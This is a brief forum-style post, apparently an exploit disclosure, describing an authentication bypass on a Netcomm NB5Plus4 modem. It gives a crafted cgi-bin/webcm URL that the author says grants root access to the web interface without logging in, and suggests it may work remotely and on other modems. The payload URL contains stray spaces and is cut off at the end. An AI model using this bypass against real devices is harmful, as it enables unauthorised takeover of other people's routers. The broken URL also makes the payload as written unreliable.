i found a little trick to bypass local login into modem gaining full access as *ROOT* on a Netcomm NB5Plus4 modem.I tried this localy im thinking it may work as remote as well but this might work for all web based modem logins
just add yah ip of modem or its gateway ip like
192.168.1.1/cgi-bin/webcm?getpage=%2Fusr%2Fwww_safe%2Fhtml%2Fdefs%2Fst yle5/menus%2Fmenu.html&var:style=style5&var:main=menu&v ar